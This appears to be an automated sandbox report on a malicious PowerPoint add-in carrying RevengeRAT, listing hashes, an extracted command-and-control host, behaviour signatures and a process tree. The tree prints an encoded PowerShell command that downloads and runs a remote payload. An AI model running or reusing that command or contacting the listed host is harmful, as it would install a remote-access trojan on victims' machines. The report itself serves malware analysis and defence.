Resubmissions

19-03-2024 13:33

240319-qtxgxsdb72 10

14-03-2024 02:49

240314-da2ajsbb65 10

Analysis

  • max time kernel
    118s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14-03-2024 02:49

General

  • Target

    dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam

  • Size

    21KB

  • MD5

    0fa350aeda0300d702cbffe77bdf26e1

  • SHA1

    3b9a66fd26bfd26cff53e222744b382da0735c74

  • SHA256

    dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044

  • SHA512

    d4514a79d24d5b165f0588cfa370a92e6d781add023878b515248c453153e26b9e701b2d5b7a1e02976783ba5925a0fd353d25ab8510419c4b6b30df2858e0d1

  • SSDEEP

    384:dXP27u0zBE0RZ+T9cx/7tsZKhNVqo6JV5ZjXDcd42nS5wYFjg1zTeQcxUwPMyvxh:VP2r60L+BS6ZkHqxJZkd42Sr9g1Xed0k

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\dbcb21d5f9c1a74aaeacb6fd5e4bda89af7cf80461eae3fa3c61a8bb90bf5044.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2216
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9ADYAOQBjADAAYgBmADUAOAAtADIAYwBiADAALQA0AGYANwA2AC0AOAA2ADQAOQAtAGEANgA2AGUANQA0AGIANgA2ADkANAAwAA0ACgAnACkAOwAgAA0ACgBBAHUAawB3AFoARABlAGsAawBXAHAAZABmAG8AdABmAEkASQBaAFQARwBrAEgAYwBOAEgATAB1AEEAdABVAGUAQwBOAGQASABPAFYATgBBAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:2356

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2320-46-0x0000000072B7D000-0x0000000072B88000-memory.dmp
      Filesize

      44KB

    • memory/2320-7-0x00000000054B0000-0x00000000055B0000-memory.dmp
      Filesize

      1024KB

    • memory/2320-6-0x0000000000600000-0x0000000000700000-memory.dmp
      Filesize

      1024KB

    • memory/2320-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2320-45-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2320-8-0x0000000000600000-0x0000000000700000-memory.dmp
      Filesize

      1024KB

    • memory/2320-9-0x0000000072B7D000-0x0000000072B88000-memory.dmp
      Filesize

      44KB

    • memory/2320-10-0x0000000000600000-0x0000000000700000-memory.dmp
      Filesize

      1024KB

    • memory/2320-0-0x000000002DE71000-0x000000002DE72000-memory.dmp
      Filesize

      4KB

    • memory/2320-2-0x0000000072B7D000-0x0000000072B88000-memory.dmp
      Filesize

      44KB

    • memory/2356-47-0x0000000067710000-0x0000000067DFE000-memory.dmp
      Filesize

      6.9MB

    • memory/2356-43-0x0000000004B00000-0x0000000004B40000-memory.dmp
      Filesize

      256KB

    • memory/2356-31-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-42-0x0000000067710000-0x0000000067DFE000-memory.dmp
      Filesize

      6.9MB

    • memory/2356-40-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-38-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-36-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-34-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2356-33-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-32-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2356-30-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2612-13-0x000000006BA30000-0x000000006BFDB000-memory.dmp
      Filesize

      5.7MB

    • memory/2612-29-0x00000000023D0000-0x00000000023D1000-memory.dmp
      Filesize

      4KB

    • memory/2612-17-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-18-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-20-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-24-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-26-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-41-0x000000006BA30000-0x000000006BFDB000-memory.dmp
      Filesize

      5.7MB

    • memory/2612-28-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-22-0x0000000002390000-0x00000000023A8000-memory.dmp
      Filesize

      96KB

    • memory/2612-16-0x0000000002700000-0x0000000002740000-memory.dmp
      Filesize

      256KB

    • memory/2612-15-0x000000006BA30000-0x000000006BFDB000-memory.dmp
      Filesize

      5.7MB

    • memory/2612-14-0x0000000002700000-0x0000000002740000-memory.dmp
      Filesize

      256KB